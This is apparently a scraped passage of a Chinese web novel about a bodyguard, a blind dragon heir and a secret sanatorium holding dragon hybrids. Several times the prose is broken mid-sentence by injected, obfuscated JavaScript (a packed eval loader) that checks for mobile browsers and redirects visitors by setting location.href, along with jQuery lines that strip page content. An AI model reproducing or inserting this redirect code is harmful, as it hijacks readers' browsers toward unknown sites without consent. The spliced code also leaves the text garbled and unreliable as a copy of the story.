据传巨龙的哀嚎声震遍山野。 在场的人当场被震得七窍出血。 巨龙的事故砸落在山脊之上,天空突然飘起了雪。 人们兴奋地剥掉巨龙的鳞片当做盔甲,他们掘地三尺地找,却只找到了龙不远万里四处叼来的花草瓜果的种子。 洞里根本没有宝藏。 雪越下越大,寒气弥漫,将山洞中的所有人和整个落雪国都彻底掩埋冰封。 不知过了多久,雪终于停了,自巨龙骸骨之下生长出新的鲜花绿草,又有新的人搬到这边定居。落雪国终于恢复了生机盎然的日子。 只是在雷雨天气,天虞山内仍能听到龙啸声,那深埋于山中的巨龙遗骸,是龙的墓志铭。 日复一日,天虞山仍时不时传言有人目击神龙现身。 人们称,总有一日,龙会向人类复仇。 下面是一些目击者的自述以及镜头捕捉到的高糊的影像。 总有一日,龙会向人类复仇。 迟郁突然想起一楼地下室,那个巨大的龙骨底座上,被人用利刃一笔一笔刻出来的八个字。 [此仇不忘,血债血偿。] 以前的迟郁只会对这种神话传说嗤之以鼻,甚至懒得看完。 可是现在他接触到了龙,亲眼见到了龙,再看到了作为R级机密的这个故事。 传说并不只是传说。 迟郁心情格外复杂。 元起和元季禹整整在一起呆了一天。 泡澡的时候,迟郁也不被允许进入。 才压下去的烦躁感又涌上心头。 迟郁闷在房间,一连做了二百多个俯卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325693|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑。 汗顺着滴到地板上,心底的滞闷才稍稍宣泄出去。 冲了个冷水澡,迟郁擦着头发出来,走廊刚好传来浅浅的轮椅滚过的声音,紧接着是庄管家的声音。 “少爷,季禹少爷明天还会来看您,早点休息。需要我给您讲睡前故事吗?” “不用。”元起清冷的声音响起,他顿了顿,接了句,“我自己会看。” “好的。” 隔壁房间的门被打开又关上。 迟郁深吸了口气,把毛巾摔在地上。 于黑暗中枕着双手躺在床上,迟迟无法入睡。 闭上眼睛就是元起在冰冷的海里揽着他的脖颈喊他名字。 “迟郁。” 他说。 “回头。” 尔后,温热柔软的唇就贴了上来。 这哪里是龙,这是水鬼吧。 专吃人心脏的水鬼。 迟郁烦躁地翻了个身,脑海里又冒出元季禹扶着他的肩膀凑近了,摘花给他嗅闻的场景。 艹。 骗人的小水鬼。 迟郁暗骂一声,倏地坐了起来。 他摸出烟盒和打火机,打开窗户,对着月光默默抽烟。 隔壁的窗子里只有一抹昏黄的光,隔着厚厚的窗帘透出一点,像是巨大的即将熄灭的灯笼。 后山里传来渐次交响的虫鸣,烟雾顺着迟郁高挺的鼻梁和削薄的唇缓缓飘散上扬,雾气缭绕间,迟郁一滞,耳朵很尖地听到隔壁传来一声痛苦的哼声。 很轻的一声,稍纵即逝。 迟郁却像是忽然找到了契机,他径直按灭了烟丢掉,又去浴室咕噜咕噜漱了口,推开了隔壁的门。 元起睡的很不安稳。 眉头紧锁着,白皙的额头覆了一层薄薄的湿意。 他穿着浅色的真丝衬衫款睡衣,一只手垂在脸颊旁,另一只手落在薄被上,死死抓着一本书。 不是他们昨天取回来的那一批。 迟郁动作很轻地从他手中抽了过来,皱着眉翻过来看书名。 《喜欢一个人就会为他生蛋》。 14.睡不着 这是…… 迟郁的眉头近乎可以拧麻花。 在他的认知里,从没听说过这种睡前故事。 什么叫“喜欢一个人就会为他生蛋”。 迟郁以为是什么鸟类科普文章,直到看到烫金的封面上的龙头标识。 床上的元起似乎睡得极不安稳,他的呼吸急促起伏着,梦魇了一般低喃。 “不要,不要……迟郁!” 元起的手死死攥着自己小腹的位置,漂亮的脸上神情极为痛苦。 一只烫得惊人的大掌附上他的手背。 “我在。” 元起蓦地睁开了眼睛。 他急促喘息了几下,呼吸间嗅到迟郁的味道,夹杂了淡淡的烟味。 不算喜欢,却让人有种落到实处的安心感。 元起的声音带着微微沙哑:“你抽烟了。” 迟郁偏头嗅了嗅自己的T恤,鼻子可真灵。 他举了举手中的书,问道:“做噩梦了?睡前看的这是什么书?” 元起仅存的一点困意瞬间荡然无存。他倏地坐起身,抬手就摸索着要夺回那本书。 “……还给我。” 几次都摸空,元起双手缓缓垂落,攥紧薄被。 见不得他紧张,迟郁把书塞回他手里,顺势在床边坐了下来。 他瞄了一眼,问。 “这个就是,你不愿意听的那个故事?” “讲的什么?” 元起抿着唇没回答。 见他抵触这样,迟郁胸口像堵了坨棉花。 他想起白天花园里的场景,气更是不打一处来。 “你们龙都这么善变吗?” 元起不懂他为什么又在诋毁龙,瞪着那双漂亮的大眼睛,一脸无辜。 “为什么这样说……” 迟郁抱臂冷嗤一声。 “明明前一天还粘着我让我陪你出去,在海里又是抱又是亲,今天突然就全变了。明明之前看都不想看见元季禹——” 元起的脸涨红了。 “那不是亲……” “那总抱了吧。”迟郁语气更愤懑了,“提醒你一句,元季禹长得可不丑。” 元起浅浅呼出一口气:“我知道。” 知道还—— 迟郁愤愤地止住。 元起觉得奇怪。 “你在不高兴吗?迟郁。” “为什么?” 迟郁冷哼一声。 “马上要失业了,我高兴死了。” 这是什么话。 元起听得皱起眉。 白天庄管家的话让他内心很震荡。 他是元氏家主的血脉,也是最后一条纯种龙,生来就背负着拯救龙族的使命。 而元季禹是目前唯一没有出现返祖或者异化现象的族人。 如长老会的人所说,他没得选。 还有一个原因…… 元起偷偷看了迟郁的方向一眼。 他确实有点依赖这个保镖了。 习惯听他讲睡前故事,放心让他照顾自己,虽然有时候会被这个不着边际的男人几句话作弄得面红耳赤。 而且,迟郁对自己是龙这件事毫不排斥。 因为身份,元起从没交过朋友。 他从小就是个肤浅的颜控小龙,摘花都得挑最艳最漂亮的,因此喜欢摄影,喜欢到处欣赏美景,他自信自己绝对不会喜欢一个长得丑的人。 顿时对迟郁有种利用的愧疚感。 于是他说:“你不会失业的。” “哦?你保证吗少爷?”迟郁挑眉。 “……我保证。” 迟郁像是被他一句话哄好了一般,语气和缓下来。 “梦到什么了?” 梦到自己真怀孕了,生了颗黑色的蛋。 元起不是第一次被这个恐怖故事吓醒了。 他难以启齿。 “没什么……” “可你叫了我的名字。” 元起自己都吓了一跳。 “叫你?” “嗯。”迟郁兀自点头,怀疑地眯眼,“是不是元季禹挑拨了什么,让你讨厌我了?” 除此之外,迟郁想不到别的原因。 “不是……” 元起深吸一口气。 他想,应该跟迟郁说清楚。 从为救他渡气开始,迟郁就变得有点奇怪。 他是个好人,人龙殊途,元起不想耽误他。 元起把手中的书递了过去。 “干嘛?想让我念给你听?”迟郁自觉接过。 “不用……这些故事,我从小到大。每晚都会听到。” “是你们龙族的童话故事?” “是龙族的神话故事,只讲给我听的。” 元起深吸一口气,修长的手指攥紧被子,骨节苍白。 “纯种龙……如果有了喜欢的人,就会怀孕,生下龙蛋,孵化出另一条纯种龙。” 迟郁眉峰微挑,有些理解无能,他随手翻看了几页。 [《金海奇缘》……一日,始祖元檀游历金海,得见金色巨龙自水中浮出,直冲天际,心生欢喜,不日有孕,诞下第二位家主元渭。] [……家主元渭善药理,终日游历天下遍寻药草。因误食草药致盲,复明之际,见救自己之人貌美,遂倾心,诞下一枚七彩龙蛋,此三代家主元妄。] 迟郁挑眉看一眼少年漂亮却无神的双眼,设想一下他能看到时的模样。 ……大概会觉得他是个骗子而讨厌他吧。 后背无端生寒,迟郁耸肩抖落下去,又翻开一页。 [三代家主元妄十分貌美却性格乖戾,同族之人无一例额外入不了他的眼。某次外出游历,途经引弦川休憩饮水,因照见水中之人仙容月貌,心生爱怜,返回龙族后便诞下一枚龙蛋。] ……龙族包容性还挺强,水仙也行。 迟郁看乐了,忍不住又摇头。 也不知道这龙族是变异了还是审美异于常人,之前几任家主好歹都是颜控,到元起这直接成了恋丑癖了。 “这是真的还是编的,你也是从蛋里孵出来的?” 少年老实作答:“……嗯。” 迟郁还是疑惑:“那你喜欢一个人的话,也可以……” 他没说下去,视线落在元起攥着被角的手指上。 男人“啧”了一声,大掌拂开他的拳头,翻过来揉了一把掌心掐出的月牙。那手就这么捏着元起的手。 想到什么,迟郁凑近了,语调上扬。 “所以你是梦到自己生了个蛋吓到了?因为喜欢我?” “不是!我没有……”元起闻言,耳根都红了。 他的手掌挣脱出来,清瘦漂亮的脸上满是无措,确信一般摇了摇头,“你没有龙族血统,不会的。” 迟郁才勾起的嘴角瞬间下压。 “那是梦到了元季禹?” 元起薄唇轻抿,像是默认。 迟郁脸色阴沉,啪地把那本书合上。 “你不喜欢他,为什么还要和他……” 他壮阔的胸膛剧烈起伏了一下,忍了下去。 “那元宝那些混血龙怎么来的?” “龙和人类生的。” “龙和人是怎么生?” “就是——”元起扬着纤长的脖颈正要解释,猛然发现自己也不知道和人类是怎么生,他从小只被教过喜欢一个人就会为他生蛋,但他不想显得太无知,于是说,“就是你们人类的生子方式。” “哦,那你怎么就非得和龙生个蛋?” 元起漂亮的大眼睛里满是天真。 “因为我是纯种龙。” 迟郁偏头嗤笑。 “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330809|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们纯种龙有生蛋指标?” 听出他话里的调笑,元起闷了一瞬,拉高被子背对他躺了下去。 “很晚了,你回去睡觉吧。” 迟郁气滞:“你睡得着?” “……睡得着。” “我睡不着。”迟郁抱着臂坐得像座山。 元起缓缓翻过身来,被他话里的理直气壮震撼到了,一脸难以言喻,小声道:“元家雇你来照顾我的……” 迟郁哼笑:“我救过你,不止一次。” 少年一噎,底气虚了大半,小声道:“我也救了你。” “你还亲了我。” “我……” 元起一脸委屈又无助。 迟郁望着,心情终于好了许多。 “反正,我睡不着。” 元起深吸一口气,终于妥协。 “那你要怎么才能睡得着?” “唱首歌听听。” 元起那双漂亮的眼睛瞪大。 对面传来男人的嗤笑,紧接着被角被掖了掖。 “逗你的。睡吧,你睡着了我就走。” 等待元起睡着的功夫,迟郁无聊翻看了整本《喜欢一个人就会为他生蛋》。 最后一篇和元起有关。 [……龙族存亡之际,第八任家主元蕴生下纯白的龙蛋,没来得及孵化,就死在了那场大战中。长老会根据古籍记载人工孵化了龙蛋,取名元起。至此,元氏一脉仅剩元起一条纯血种龙。] 再抬头,元起已经安然睡着了。 少年漂亮的双眸轻轻合着,黑亮的碎发微微划过白皙的额头。 迟郁抬手,鬼使神差想要抚触一下那宛如上帝亲手雕刻的眉眼,又在即将触碰之际骤然回神。 他猛地站起身,头也不回地向外走去。 * 第二天上午,元季禹又来了,换了一套骚包的浅灰色西装。 迟郁甩了下手中的毛巾,吓得他当即退开好几步,脸上是万分嫌弃的表情。 “阿起,你这个保镖,实在粗俗。”花园里喝茶的时候,元季禹终于没忍住告状,“他这样怎么照顾得好你?不如我从圣菲庄园挑几个给你送来。” 迟郁在身后冷笑,就知道这货会趁机挑拨离间。 他“乓”地把手中的果盘放桌上,冷笑着提醒:“少爷,可惜你看不见,这位先生今天可是帅出新高度了。” 元起被吓了一跳,穿着白衬衫的背影僵了僵。 元季禹瞪着那双狭长的眼睛,第一反应是迟郁在水果里下了毒。 一连五天,迟郁见缝插针地夸元季禹,终于—— 夸得他不敢来了。 元起无奈地问:“是庄管家给你什么好处了吗?” 迟郁心情很好:“什么?” “让你……这么夸元季禹。” 什么好处能让他忍着恶心这么夸。 迟郁轻嗤一声,力道适中地揉捏元起的后腰:“没有。” “迟郁。” 隔了会儿,元起轻声叫他。 “嗯?” 元起乖乖趴在理疗床上,纤长的睫毛遮住晦暗的瞳孔,自语般道:“在元家,我希望你和我是站在同一边的。” 迟郁手下地动作一停。 上午的阳光被纱帘隔去炽烈的部分,只照进温柔的暖意。 好半晌,迟郁轻笑出声。 “少爷,我以前是个猎人。” 他的手像是一条毒蛇般危险地沿着元起的背脊攀爬。 “跟我提要求,是要开条件的。” 元起缩了缩,糯糯的挤出一句:“痒。” 迟郁指尖一僵。 好半晌,他望着元起瓷白的侧脸,心中低咒一声,加重了力道。 “先答应你了。” 迟郁闷声道。 “条件以后再说。” 15.娇气 元季禹没来的日子,迟郁心情好了许多。 元起最近沉迷看书,午休后的下午,迟郁也被允许在书房陪着他。 迟郁向来是厌烦这种按部就班的生活的,可每每抬头望见元起神情专注,纤长白皙的手指抚触过书页上凸起的字体时,心底竟生出了被填实的感觉。 尔后是擂动的心跳。 迟郁抬起大掌按了按胸口,皱眉。 安逸会让人放松警惕,这对于猎人而言是危险且致命的。 口袋里的手机轻微震了震,迟郁回神。 是来自OTBH的消息。 [联络员徐舟客:迟哥,线人接连两晚蹲到鸣蛇实验室运出大量不明集装箱。和上次实验室怪物伤人事件现场的集装箱一模一样。总部派了你们森蚺队去盯,需要你随时接应。] 迟郁简短回复:[收到。] [联络员徐舟客:还有一个事。我们的研究员比对了所有采样的龙的DNA,它们的基因和人类基因有很高的吻合度,并且没有生殖隔离……专家说这并不是人为基因改造的结果,而是一种长期、自然的演变。像这样庞大的生物历朝历代都鲜少有目击记载,只有一种可能性,龙或许像神话记载中一样能变幻人形,平时和我们无异……] 那边停顿了好一会儿,见迟郁没有任何反应,可谓相当失望。 [联络员徐舟客:迟哥??你好歹给点反应啊??!!不恐怖吗!我刚听说的时候鸡皮疙瘩都起来了。] [迟郁:。] [联络员徐舟客:……] 很想举报不是本人但是这也太是本人了。 [联络员徐舟客:专家据此推断,龙这种生物应该有人的智商和社会行为能力,已经很好地融入了人类社会。那么近期频频出现龙兽化袭击人类的事件,可能是有人故意为之。鸣蛇实验室或许在违规制造大规模杀伤力强的生物武器。如果能获得纯种“龙”的DNA作对照,也许可以解开所有谜题。就是不知道世界上还有没有纯种龙了。] 迟郁几乎是下意识看向元起。 傍晚的阳光透过纯白的纱帘照进来,被过滤成细碎的光粒子镀在漂亮的少年周身,如同金色的保护圈。 他还在认真读着手中的《一千零一夜》,眸光随意落在前方某个点上,读到兴起,头微微歪着,黑色的碎发被光照得毛绒绒的,像是无害的小动物。 迟郁心底突然有些滞闷。 手机又震了震,震得掌心发麻。 元起抬头望了他一眼。 “迟郁,你有事的话可以先去忙,不用非在这里陪着我。” 迟郁活动了一下在狭小的椅子上施展不开的高大身躯,觉得好笑:“少爷,我的事不就是照顾你吗。” 少年漂亮清隽的脸上有片刻隐忍。 “我的意思是……你吵到我了。” 迟郁一滞,讪讪地抬手摸了摸鼻尖,垂目看一眼消息。 [联络员徐舟客:对了,你上次传回来的那个龙骨化石照片,能搞到点实物样本吗?或许是个突破口。] 迟郁飞快打字。 [行,我找机会弄点。] 发完就将手机关机塞进了口袋里,挑眉看向元起。 正常来说,OTBH的强提醒只有持机人会感受到震感,但是龙的听觉也太敏锐了。 迟郁长腿一迈,身体拖动着椅子凑到元起身边。 椅子滚轮的声音激得元起脊椎上冒出细密的酥.麻感。 他细白的手指攥着书脊,不满地瞪向噪声源。 “迟郁!” “在呢在呢。”迟郁懒懒应声,两条长而有力的腿霸道地分开,刚好将轮椅和少年面对面圈在其中。 元起衬衫下清瘦的背脊僵了一瞬,才要逃离,手连同书就被按住了。 滚烫的大掌让他瑟缩了一下。 “你……” “这么摸能看懂吗?”迟郁轻“嘶”了一声,指纹明显的指尖摸索了两行,又疑惑地翻过元起的指尖搓了搓。 他的手掌和指尖带着烫人的温度,两人指尖抚触过的时候好像带着电流,元起登时像是炸了毛的猫一样抽回了自己的手。 “……可以。” 他的声音都有些发紧。 对面传来一声嗤笑,下一秒,手中的书被抽走,元起还没来得及表示不满,整个人被他扛了起来。 “好看也先别看了,该泡澡了,少爷。” 屁股被他结实有力的手臂箍着,身体没什么感觉,心灵上的羞耻感让元起涨红了脸。 他的双臂搭在迟郁厚实的背肌上攥紧。 “我可以……” 元起小幅度挣扎。 “可以什么?” “……轮椅。” 迟郁垂眸看一眼:“你这个轮椅方向感不行,没我好用。” 他长腿一迈,扛着元起进了温泉间。 近期的按摩强度大,元起身上多了许多青紫痕迹。 迟郁把元起圈在身前,用指尖蘸了舒缓的绿色药膏缓缓擦涂。 元起背对着他,硫磺味的暖白雾气将他的脸颊蒸得湿润泛红。 涂完肩膀,蝴蝶骨,沿着背脊一路向下。 身后人的呼吸声逐渐深重。 那粗糙的手指许久没有没了动静。 元起有些紧张,小声问。 “好了吗?” 雾气朦胧下,呼出的气息将表面拂开,隐隐可见水下的光景。 “还没,别动。” 迟郁指尖挖了一大坨绿色的膏药,视线落在元起的腰际。 元起偏清瘦,但是腰腹的肌肉线条很漂亮,尤其是腰线,纤细流畅,加上他皮肤白而细腻,经奶白温泉水润泽后,掀起诱人的弧度。 迟郁挑眉,第一次懂了为什么形容勾人的腰叫水蛇腰。 指尖的温度很快就将膏药消融,揉进了腰上的皮肤。 滑腻的触感几乎点燃迟郁的末端神经。 元起浑身轻颤了颤。 “迟郁,不要烫我。” 正在抠挖药膏的迟郁疑惑:“哪里烫你了?” 元起有些委屈,腿动不了无法远离,他伸手下去想要拂开:“你的手……” 陌生的触感让二人俱是一颤。 迟郁视线向下,在被那只柔软干净的手触到某处时微微挑了挑眉。 本能的跳动震荡着弹到元起的掌心,迟郁低沉的声音带着笑意落在他耳边:“少爷,不是我的手,我两只手都在忙着给你上药。” 元起呼吸一滞,倏地划动着水,从他怀抱的禁锢中撤离。 “你、你别过来。” “不过来怎么上药。”哗哗的水声过后,迟郁轻易钳住他的手臂将人扯了回来。 “而且,不是你说,让我和你在同一边的吗?” 刻意被曲解的意思,让元起本就滚烫的脸颊更是红到底,他羞耻难消又震惊难当。 “你怎么能……” 迟郁耸了耸肩,一派坦然道:“人之常情,少爷。有时候它就是会莫名其妙站起来,我也没有办法。你难道不会?” 他说着,手就要往下探去。 元起急急攥着他手腕拦住。 “你!别……” “只许你摸我不许我摸你,还真是霸道。” 元起已经近乎煮熟的虾子了。 他极力往边上缩去,像是被人类吸狠了的小动物,小声嘟囔。 “你们人类真可怕……” 迟郁抱臂,视线将他上下扫了个遍:“哪有你们龙可怕,嘴上亲一个心里想一个,肚子里说不定还能揣一个。” 元起默了一瞬。 “……你对龙误解很深。” 迟郁冷嗤:“最好是误解。” 山里入了夏的夜也燥热起来,窗外间或响起虫鸣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你养鸡养傻了?这么多年你见迟郁对谁好脸过?他没把人头拧下来都算他一心向善了。” 蒋胜宇揉了揉后脑勺,一时分不清是蚊子叮的包还是被他砸的。 “不是啊,你是没见过,那小少爷可比照片上还好看,太好看了我天!” “你就是天仙来了都没用,迟郁他压根就不喜欢人类。” “你懂个屁。上次我跟联络员徐哥聊起,徐哥都说不对劲,他说迟哥好像被那小少爷给……” 话没说完,屁股又挨了一下。 蒋胜宇瞬间恼火了:“你他妈有病吧,老子好心跟你讲……” “八卦”二字还没说出口,就和一脸似笑非笑的迟郁对上了。 “迟、迟哥……” 迟郁蹲身下去用手背拍了拍他的脸:“那小少爷把我怎么了?” 蒋胜宇被叮到了左眼皮,瞪着对大小眼脸惨白,模样滑稽。 “没、没怎么……” 院子里突然发出一声巨响,两个工人之间承重的木棍突然断了,集装箱一边先落在了地上,一条封装的木板直接迸溅出去,露出个黑洞洞的缺口。 箱子内的东西震颤了一下,发出野兽的低吼。 三人做出伏击姿势,警觉地望过去。 楼内快步走出来一个中年男人。 他先是凝眉望了一眼,然后蹲下去从破口处检查了下,尔后厉声道。 “都小心点,摔坏了你们几条命都赔不起!” 工人唯唯诺诺点头再度将箱子扶正了。 换了更结实的承重木抬上板车。 男人站起身,背着手警惕地向门口扫了一眼。 看清脸的瞬间,蒋胜宇一脸惊讶地偏头看向迟郁,声音压得极低。 “迟哥,这不是……那个管家吗?” 迟郁望着庄克熟悉的脸庞上漠然的神情,狭长深邃的眼眯了眯。 16.撸 夜晚的风拂过树叶掀起沙沙声,掩盖了细微的响动。 庄克低头看了一眼时间,尔后转身向楼里走去。 迟郁跟着站了起来。 “迟哥!” 蒋胜宇小声喊他,紧接着被迟郁按了下脑袋。 “蹲着吧,我去后面看看。” 雷鸣山是一座人迹罕至的原生态的深山,这座疗养院独立在其中,栅栏和墙体俨然已有些年头,森白的月光下,处处透着诡异。 迟郁利落地划断面前的藤蔓,贴着外墙迅速前行到了砖红色的主楼后面。 依稀能听到走廊里搬运集装箱的板车滚动的声音,隆隆声过后,传来了铁链撞击的声音混合着某种野兽的嘶吼。 迟郁仰头,微微眯着眼观察整栋楼。 自外看每一层都有寻常楼层的三倍高,一共三楼,却有十多层楼的高度,外墙通体刷成了砖红色,因为老旧,有些墙皮已经剥落了。 迟郁藏身的附近有一条直通楼顶的检修梯,钢筋直接钉进墙体的结构。 他抬脚用靴子踩了踩,确认承重后,结实的手臂发力向上攀爬去。 楼道里隐隐能听到平板车拖动巨大箱子倾轧出的滚轮声,噪声掀起更多野兽的嘶吼声。 迟郁静默飞速攀爬着,隔着窗户,视线忽然扫到走廊里一道熟悉的身影。 他瞬间停下贴墙隐匿在黑暗中,眼见着庄克掏出钥匙,金属链条碰撞的声音过后,走了进去。 “砰。” 那道犹如监狱防护门的金属门被合上。 迟郁蹙眉,上下扫了一圈,瞄准了一侧的空调外机,之际跨了上去。 走廊的声控灯熄灭下去,隔着铁门铁网的缝隙,迟郁看到了空旷如四方格子的房间内,一个巨大的泛着银光的铁床上,靠坐着一个穿病号服的少年,头上绑了一圈绷带遮住了左眼,皮肤苍白。 庄管家俯身从地上捡起一个彩色的球,笑着绕过病床,递进少年怀里。 在他绕过床位的时候,迟郁清晰地看到少年下半身是盘亘着的长长的黑色龙尾,尾端受了伤裹了纱布,上面暗红的血渍格外扎眼。 迟郁眉头几乎搅起来。 那男孩五官都很淡,望着庄管家,从迟郁的角度刚好可以听到很小声的呼唤:“爸爸,我不想待在这边。” 旁边房间的嘶吼让他颤了颤,尾巴尖也蜷缩了一下,伤口的疼痛使得被子上的小手攥在了一起。 球又翻滚着到了地上。 庄管家整个身体一震,好一会儿才挤出个笑,摸了摸男孩的头。 “小演乖,你生病了,待在这边乖乖治疗。” 男孩瞪着一只漆黑的眼睛:“治好了就可以出去了吗?” 庄管家手一滞,嘴角的笑也僵住了,良久,他摸了摸小男孩的头。 “乖,等你治好了再说。” “爸爸,人类真的很讨厌龙吗?” 庄克没有说话。 小男孩默默垂下了头。 “我真的……是怪物吗……” “不,你不是!”庄克却陡然激动起来,他扶着男孩的肩膀,迫使他看向自己,“你身上流着龙族的血脉,我们的神话和历史比人类要古老悠长,只是……” 男孩眼底的恐惧唤醒了庄克,他手里的力道松了些,声音也放轻了:“小演,你只是生病了,才会这样,等治好了,你就能和从前一样了。时间不早了,睡吧,爸爸明天还来看你。” 庄克再度捡起球放到床上,缓缓转过身,脸上的笑一下子冷了下来。 迟郁收回拍摄的手机,往黑暗中躲了躲。 走廊传来铁门打开又合上,尔后是落锁的声音,紧接着,脚步声和也走远。 迟郁深吸一口气,借助外阳台跨越到另一个空调外机上。 工人已经将集装箱运到一扇开着的铁门前,集装箱门口正对着大门打开,一声猛兽咆哮和铁皮冲撞的声音过后,工人们低声吆喝。 “快,把门锁上!” 大门落了锁还传来巨大的撞击声。 空了的集装箱被隆隆的推远。 迟郁伸出手机镜头对着门口拍了几张。 放大看,能看到巨大的幽绿色的眼睛和黑色的鳞片。 这里关的……都是这样的龙。 脚下的空调支架发出老旧的吱嘎声,屋内的人顿时警惕地停住,有脚步声靠了过来。 在窗户被推开的瞬间,迟郁几步翻上了屋顶。 身后传来短促地一声“卧槽”。 迟郁几乎是瞬间抽刀抵上了对方的颈动脉。 楼下的人嘟囔了句:“这荒郊野岭哪有人,神经兮兮。” 尔后关上了窗。 对方没迟郁手快,大气都不敢喘,听到的声音远离,才敢小声喊他。 “迟哥迟哥,是我,刘巡。” 森蚺队的机动和爆破员。 他抬手指了指顶楼拐角的设备。 “队长让我拆一下外楼的监控设备。” 说话间喉头的震动几乎是抵着刀锋跳舞,刘巡脸白了一下。 下一秒,迟郁收回了匕首。 刘巡狠狠吞咽了一下,脱力地仰躺到地上。 耳机里短促的电流声过后传来齐镇声音。 前院货车发动机的轰鸣声在耳机内格外明显。 “他们要离开了,刘巡,监控设备拆了吗?” 刘巡嗓音嘶哑,粗喘道:“拆了。” “你怎么了?”齐镇语气里带上怀疑。 “没事,迟哥差点给我噶了呵呵。”刘巡摸了摸脖颈,冷笑着,一个鲤鱼打挺坐起来。 正要对暗号的齐镇默默把话咽了回去。 “迟郁。” “嗯。” “……有什么发现。” 迟郁低头在手机上戳点几下,“上次探测DNA的那条蛇,这座疗养院里多的是。刚刚运过来那几车也是。” 对面传来小蒋低声的“卧槽”。 迟郁的指尖在病房里的庄管家和包着脑袋的小男孩身上停了一秒,点了传送:“庄管家的儿子,应该就是两次袭击线人的那个。我拍了几张图,发给你了。” 对面是无边的沉默,几辆大卡车轰鸣着远离,轮胎在地上摩擦出尖锐的长啸,楼内跟着响起此起彼伏的低吼声,几乎震得人小腿发麻。 终于,耳机对面响起吸气声。 接连两声“卧槽”,尔后蒋胜宇脑袋上挨了一巴掌,他“哎哟”一声。 “太特么渗人了齐队……这是什么怪物!” “卧槽,这还是个孩子,就能一口咬死TOBH精心培养的线人,这一房子,我们五个进去简直是给人家加餐。” “这——” 齐镇急急喘了两下,终于消化了这个信息量。 “这个规模已经不是森蚺队可以解决的了,我马上上报总部,等协会安排增援。” 他又深吸一口气。 “那,元家少爷不会也是……” 没等他说完,迟郁就有些烦躁地打断了他的话,“他不是。” 他有些欲盖弥彰地补充:“他不一样。” 齐镇缓缓吐出那口气。 “要不你别回元家了,太危险了。我可以帮你向总部申请,这单不算在你的任务评分里。” “我还有事情没查清楚。” 迟郁径直起身,掏出从地下室割下的龙骨,抛给身后的刘巡。 “这个,帮我交给总部的人。” “啊?好。” 齐镇看着照片,仍旧不放心,难免话多起来。 “迟郁……你别冲动。在这种绝对力量悬殊面前,即便你是人类最强战力,即便你拥有最高新的武器,那也是送死啊!你至少得活着才能——” 蒋胜宇赶忙帮腔:“是啊迟哥,你如果很想知道你手里那个鳞片的信息,我们到时候把这一屋子怪龙都绑了,挨个皮鞭站辣椒水拷问,总能给你问出来点信息——” 迟郁已经径直摘下耳朵上的通讯器塞进腰上的设备包里。 刘巡望着远去的背影,小声嘟囔:“闭嘴吧,迟哥已经走了。” 迟郁缓缓走到楼顶的另一端,用脚和目测测算出了楼体的尺寸。 三楼和一楼二楼的格局不一样,刚刚惊鸿一瞥就能看出来,此刻蹲在楼顶,借助反光镜仔细看了,才发现三层似乎是急救室和实验室于一体的。 四个穿着防护服的医护人员急急推了一车药品和注射设备,有些尺寸大的惊人,忙碌间几人互相催促抱怨。 “快点,等下失控了又得吹几十针进去。” “一共几个?” “登记员说六个。” “我靠,大半夜的真是不让人睡觉了,怎么这么多?” “主任上次就说让我们做好准备,以后可能会越来越多。” “我们龙族也是完啦……” 最先抱怨的护士隔着口罩打了个哈欠,肩膀即刻被撞了撞。 “少说两句吧,都是我们的同类。说不定……以后也会有我们的家人和朋友。” 几人登时沉默了,闷声不响推着设备进了电梯,下到二楼去。 再往前是加了两道厚重防护门的楼梯,门上的锁开着,迟郁看到庄管家穿过两道门上来,沿着三楼走廊走得很快。 走廊尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“上次你说,那个保镖在后山的山洞看到了小演伤人,还刺伤了小演,不打算把人处理掉吗?” “他……”庄克犹豫了一下,“当时我太担心小演没顾上,而且他并不知道看到的两条龙就是我们……” “庄管家,你也糊涂了吗?”元季禹冷嗤一声,“寻常人看到龙是什么反应?他能当做无事发生,本身已经够可疑了。况且,元起对他的依赖已经超出界限。” 庄克反驳不了,只沉沉叹了口气。 “我只想着,少爷命苦,万一我们都……至少,能有个临时照看他的人,长老会也同意了的。而且迟郁是普通人类,即便少爷真动了心,也不会——” “庄管家,纯种龙认定一个人就是终生,即便他不会让元起怀孕,但是元起如果心里有他了,我又要怎么走进去呢?” 庄克彻底沉默下来。 元季禹胸膛起伏了下。 “知道你心软,不用杀掉,找个机会让他离开。” “是……” 元季禹抬手拍了拍他的肩。 “放心,我不会强迫元起,你也知道,我从小就喜欢他。我有我的办法。” 走廊灯再度熄灭下去,随着元季禹的皮鞋敲击在地板上又亮起。 迟郁收回了手里的反光镜,指尖撑着地面,恍惚想起元起那双漂亮却迷蒙的双眼。 是该早做打算了。 回到元宅。 